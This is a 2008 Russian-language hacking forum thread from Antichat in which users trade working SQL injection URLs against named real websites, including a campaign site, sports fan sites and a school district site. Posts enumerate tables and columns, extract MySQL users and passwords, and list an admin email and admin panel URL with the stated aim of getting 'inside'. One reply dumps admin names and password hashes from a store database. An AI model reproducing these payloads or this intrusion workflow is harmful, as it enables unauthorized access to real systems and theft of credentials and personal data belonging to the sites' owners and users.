ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6441  
Старый 26.08.2008, 07:17
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

Вот еще SQL

http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,3,4,5,6,7--
-----------------
Таблица USERS
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,table_name,4,5,6,7+from+INFORM ATION_SCHEMA.TABLES--

а как её просмотреть!?

потскажите и покажите пожалуйсто
 
Ответить с цитированием

  #6442  
Старый 26.08.2008, 07:23
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию

Цитата:
Сообщение от SeNaP  
Вот еще SQL

http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,3,4,5,6,7--
-----------------
Таблица USERS
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,table_name,4,5,6,7+from+INFORM ATION_SCHEMA.TABLES--

а как её просмотреть!?

потскажите и покажите пожалуйсто
Код:
http://www.mayorlukes.com/news.php?id=-13+union+select+1,2,name,4,5,6,7+from+users+limit+2,1--
и пересматривай лимитом

Добавляю:
e-mail админа: AtyLukes@aol.com
админка: http://www.mayorlukes.com/administrator/admin.php

еше кое-что интересное: Provided by DLG Results. Оф. сайт - http://www.dlgresults.com/
остаеца узнать пасс и залезть внутрь )...

Последний раз редактировалось USAkid; 26.08.2008 в 07:29..
 
Ответить с цитированием

  #6443  
Старый 26.08.2008, 07:26
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

USAkid, спасибо
 
Ответить с цитированием

  #6444  
Старый 26.08.2008, 07:30
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию

Цитата:
Сообщение от SeNaP  
USAkid, спасибо
Для спасибо есть плюсики
 
Ответить с цитированием

  #6445  
Старый 26.08.2008, 07:37
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

Цитата:
Сообщение от USAkid  
Для спасибо есть плюсики
 
Ответить с цитированием

  #6446  
Старый 26.08.2008, 09:11
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

SeNaP
Цитата:
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,3,3,unhex(hex(version())),5,6/*
версия 4.
Цитата:
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,3,3,unhex(hex(concat_ws(0x3a,use r,password))),5,6+from+mysql.user/*
рут..


Цитата:
http://www.theenemy.com/news.php?id=-13+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
4 ver..


Цитата:
http://www.budd-pni.com/news.php?ID=-13+union+select+1,version(),3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24/*

Последний раз редактировалось sabe; 26.08.2008 в 09:22..
 
Ответить с цитированием

  #6447  
Старый 26.08.2008, 11:31
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

sabe, а что вот это "unhex(hex" ?
 
Ответить с цитированием

  #6448  
Старый 26.08.2008, 12:56
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

вот нашол SQL инж

http://www.eastbaythunder.com/news.php?id=-16+union+select+1,2,3,4,5,table_name,7+from+INFORM ATION_SCHEMA.TABLES+limit+19,1/* таблица "админ" , а как её вскрыть? :?
 
Ответить с цитированием

  #6449  
Старый 26.08.2008, 14:02
Аватар для 4p3
4p3
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме:
750247

Репутация: 92
Отправить сообщение для 4p3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от SeNaP  
вот нашол SQL инж

http://www.eastbaythunder.com/news.php?id=-16+union+select+1,2,3,4,5,table_name,7+from+INFORM ATION_SCHEMA.TABLES+limit+19,1/* таблица "админ" , а как её вскрыть? :?


Цитата:
http://www.eastbaythunder.com/news.php?id=-16+union+select+1,2,3,4,5,column_name,7+from+INFOR MATION_SCHEMA.columns+where table_name='admin'/*
Если фильтрует кавычки, то используй вместо 'admin'
0x61646d696e. Это тоже самое, но в hex.

Как вариант можешь использовать SIPT 4.0, она делает всю рутинную работу.

Вот что получилось выдрать с базы

Цитата:
Getting Data from table admin from database eastbayt_store
Fields admin_groups_id:admin_firstname:admin_lastname:adm in_password

[0]:1:Sandy and Keven:Torres:065b34a51dd6819e14c87d580055ac42:e7
[1]:2:Customer:Service:a619003120892efc8cf3a44c85982a ec:44
 
Ответить с цитированием

  #6450  
Старый 26.08.2008, 14:17
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

Цитата:
http://www.bscs.k12.mi.us/website/index.php?subpage_id=94
User:website@localhost
Version:4.1.20 (((
Dbname:website
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ